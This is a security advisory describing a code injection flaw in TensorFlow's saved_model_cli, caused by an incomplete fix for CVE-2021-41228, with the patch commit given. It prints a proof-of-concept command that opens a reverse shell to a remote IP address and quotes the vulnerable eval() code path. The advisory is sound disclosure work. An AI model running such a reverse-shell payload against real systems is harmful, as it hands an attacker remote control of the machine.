Code injection in `saved_model_cli` in TensorFlow

Impact

TensorFlow's saved_model_cli tool is vulnerable to a code injection:

saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default

This can be used to open a reverse shell

saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default

This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:

def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
  # ...

  for input_raw in filter(bool, input_exprs_str.split(';')):
    # ...
    if safe:
      # ...
    else:
      # ast.literal_eval does not work with numpy expressions
      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
  return input_dict

This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.

However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.

Patches

We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.